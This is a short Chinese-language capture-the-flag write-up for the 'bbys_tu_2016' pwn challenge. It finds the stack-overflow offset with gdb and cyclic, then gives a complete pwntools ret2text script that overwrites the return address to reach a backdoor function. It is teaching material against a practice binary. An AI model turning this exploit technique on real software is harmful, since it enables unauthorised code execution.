Post

bbys_tu_2016

image-20240108202313442

image-20240108202321247

  1. main函数中存在溢出
  2. 存在后门函数
  3. 构造payload,ret2text就可以得到flag

难点在于我们很难通过ida得到我们要溢出的长度,需要手动计算,接下来是两种方法

  • A,通过gdb得到溢出长度

    image-20240108202713661

    image-20240108202748090

    停在输入地址,输入,手动查看ebp下的返回地址,减去输入位置得到长度

  • B.通过cyclic生成字符串,根据返回报错得到长度

    1
    2
    
    bamuwe@qianenzhao:~$ cyclic 30
    aaaabaaacaaadaaaeaaafaaagaaaha
    

    image-20240108202957597

    gdb调试输入后得到了这样一个报错

    1
    2
    
    bamuwe@qianenzhao:~$ cyclic -l 0x61616167
    24
    

    -l查询,得到栈溢出距离($esp~$ebp)是$24$(0x18)

1
2
3
4
5
6
from pwn import *
io = process('./bbys_tu_2016')
padding = b'A'*0x18
payload = padding + p32(0x0804856D)
io.sendlineafter(b'This program is hungry. You should feed it.\n',payload)
io.interactive()

远程与本地有不同,直接io.sendline(payload)即可

This post is licensed under CC BY 4.0 by the author.